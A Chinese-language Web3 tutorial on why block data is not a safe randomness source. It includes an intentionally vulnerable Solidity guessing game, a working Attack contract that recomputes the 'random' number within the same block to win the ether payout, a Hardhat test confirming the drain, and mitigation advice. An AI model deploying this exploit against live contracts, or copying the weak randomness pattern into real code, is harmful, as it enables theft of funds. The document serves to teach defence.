目录

Web3系列教程之高级篇---6:为什么你不应该在没有预言机的情况下在链上生成随机数

https://hicoldcat.oss-cn-hangzhou.aliyuncs.com/img/20220805223012.png

随机性是一个难题。计算机运行由程序员编写的代码,并遵循给定的步骤序列。因此,设计一个能够给你一个“随机”数的算法是非常困难的,因为该随机数必须来自遵循特定步骤序列的算法。现在,当然,某些功能比其他功能更好。

在这种情况下,我们将专门研究为什么你不能信任链上数据作为随机源(以及为什么我们在进阶课程中使用的 Chainlink VRF 被创建的原因)。

要求

  • 我们将建立一个有一组牌的游戏。
  • 每张牌都有一个与之相关的数字,范围从0到2²⁵⁶-1。
  • 玩家将猜测一个将要被选中的数字。
  • 然后,庄家将随机从牌包中拿起一张牌。
  • 如果有人猜对了数字,他们将赢得0.1个ETH。
  • 我们今天将破解这个游戏 :)

构建

为了构建智能合约,我们将使用Hardhat。Hardhat是一个Ethereum开发环境和框架,为Solidity的全栈开发而设计。简单地说,你可以编写你的智能合约,部署它们,运行测试,并调试你的代码。

  • 在你的文件夹中,你将建立一个Hardhat项目
1
2
npm init --yes
npm install --save-dev hardhat
  • 如果你使用的是Windows系统,请做这个额外的步骤,同时安装这些库 :)
1
npm install --save-dev @nomiclabs/hardhat-waffle ethereum-waffle chai @nomiclabs/hardhat-ethers ethers
  • 在你安装Hardhat的同一目录下运行。
1
npx hardhat
  • 选择Create a basic sample project
  • 对已指定的Hardhat Project root按回车键
  • 如果你想添加一个.gitignore,请按回车键。
  • 按回车键Do you want to install this sample project's dependencies with npm (@nomiclabs/hardhat-waffle ethereum-waffle chai @nomiclabs/hardhat-ethers ethers)?

现在你有一个准备好的hardhat项目了!

  • 让我们先了解一下abi.encodedPacked是做什么的。

我们以前在入门NFT教程中使用过abi.encode。它是一种将多种数据类型串联成一个字节数组的方法,然后可以将其转换为一个字符串。这经常被用来计算NFT集合的tokenURIencodePacked更进一步,将多个值串联成一个字节数组,但也摆脱了任何填充和额外的值。这意味着什么呢?让我们以uint256为例。uint256的数字有256位。但是,如果存储的值只是1,使用abi.encode将创建一个有255个0和只有1个1的字符串。使用abi.encodePacked将摆脱所有额外的0,而只是将1的值连接起来。

关于abi.encodePacked的更多信息,请继续阅读这篇文章

  • 在你的contracts文件夹中创建一个名为Game.sol的文件,并添加以下几行代码。
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
// SPDX-License-Identifier: MIT
  pragma solidity ^0.8.4;

  contract Game {
  constructor() payable {}

      /**
          Randomly picks a number out of `0 to 2²⁵⁶–1`.
      */
      function pickACard() private view returns(uint) {
          // `abi.encodePacked` takes in the two params - `blockhash` and `block.timestamp`
          // and returns a byte array which further gets passed into keccak256 which returns `bytes32`
          // which is further converted to a `uint`.
          // keccak256 is a hashing function which takes in a bytes array and converts it into a bytes32
          uint pickedCard = uint(keccak256(abi.encodePacked(blockhash(block.number), block.timestamp)));
          return pickedCard;
      }

      /**
          It begins the game by first choosing a random number by calling `pickACard`
          It then verifies if the random number selected is equal to `_guess` passed by the player
          If the player guessed the correct number, it sends the player `0.1 ether`
      */
      function guess(uint _guess) public {
          uint _pickedCard = pickACard();
          if(_guess == _pickedCard){
              (bool sent,) = msg.sender.call{value: 0.1 ether}("");
              require(sent, "Failed to send ether");
          }
      }

      /**
          Returns the balance of ether in the contract
      */
      function getBalance() view public returns(uint) {
          return address(this).balance;
      }

  }
  • 现在在你的contracts文件夹中创建一个名为Attack.sol的文件,并添加以下几行代码。
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
// SPDX-License-Identifier: MIT
  pragma solidity ^0.8.4;

  import "./Game.sol";

  contract Attack {
      Game game;
      /**
          Creates an instance of Game contract with the help of `gameAddress`
      */
      constructor(address gameAddress) {
          game = Game(gameAddress);
      }

      /**
          attacks the `Game` contract by guessing the exact number because `blockhash` and `block.timestamp`
          is accessible publically
      */
      function attack() public {
          // `abi.encodePacked` takes in the two params - `blockhash` and `block.timestamp`
          // and returns a byte array which further gets passed into keccak256 which returns `bytes32`
          // which is further converted to a `uint`.
          // keccak256 is a hashing function which takes in a bytes array and converts it into a bytes32
          uint _guess = uint(keccak256(abi.encodePacked(blockhash(block.number), block.timestamp)));
          game.guess(_guess);
      }

      // Gets called when the contract recieves ether
      receive() external payable{}
  }
  • 攻击是如何发生的,如下所示。

    • 黑客调用Attack.sol中的attack函数。
    • 攻击者使用与Game.sol相同的方法进一步猜测数字,即uint(keccak256(abi.encodePacked(blockhash(block.number), block.timestamp))
    • 攻击者能够猜到相同的数字,因为blockhash和block.timestamp是公共信息,每个人都可以访问它。
    • 攻击者随后调用Game.sol中的guess函数
    • guess首先调用pickACard函数,该函数使用uint(keccak256(abi.encodePacked(blockhash(block.number), block.timestamp))生成相同的数字,因为pickACardattack都是在同一个区块内调用的。
    • guess比较这些数字,结果发现它们是一样的。
    • guess然后发送Attack.sol 0.1 ether,游戏结束。
    • 攻击者成功地猜出了随机数
  • 现在让我们写一些测试来验证它是否完全按照我们希望的那样工作。

  • test文件夹中创建一个名为attack.js的新文件,并添加以下几行代码

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
const { ethers, waffle } = require("hardhat");
const { expect } = require("chai");
const { BigNumber, utils } = require("ethers");

describe("Attack", function () {
  it("Should be able to guess the exact number", async function () {
    // Deploy the Game contract
    const Game = await ethers.getContractFactory("Game");
    const _game = await Game.deploy({ value: utils.parseEther("0.1") });
    await _game.deployed();

    console.log("Game contract address", _game.address);

    // Deploy the attack contract
    const Attack = await ethers.getContractFactory("Attack");
    const _attack = await Attack.deploy(_game.address);

    console.log("Attack contract address", _attack.address);

    // Attack the Game contract
    const tx = await _attack.attack();
    await tx.wait();

    const balanceGame = await _game.getBalance();
    // Balance of the Game contract should be 0
    expect(balanceGame).to.equal(BigNumber.from("0"));
  });
});
  • 现在打开一个终端,指向Source-of-Randomness文件夹,执行以下内容
1
npx hardhat test
  • 如果你所有的测试都通过了,你就成功地完成了黑客的工作 :)

预防措施

  • 不要使用blockhashblock.timestamp或真正的任何种类的链上数据作为随机性的来源。

  • 你可以使用 Chainlink VRF’s 来获得真正的随机性来源

https://hicoldcat.oss-cn-hangzhou.aliyuncs.com/img/my.png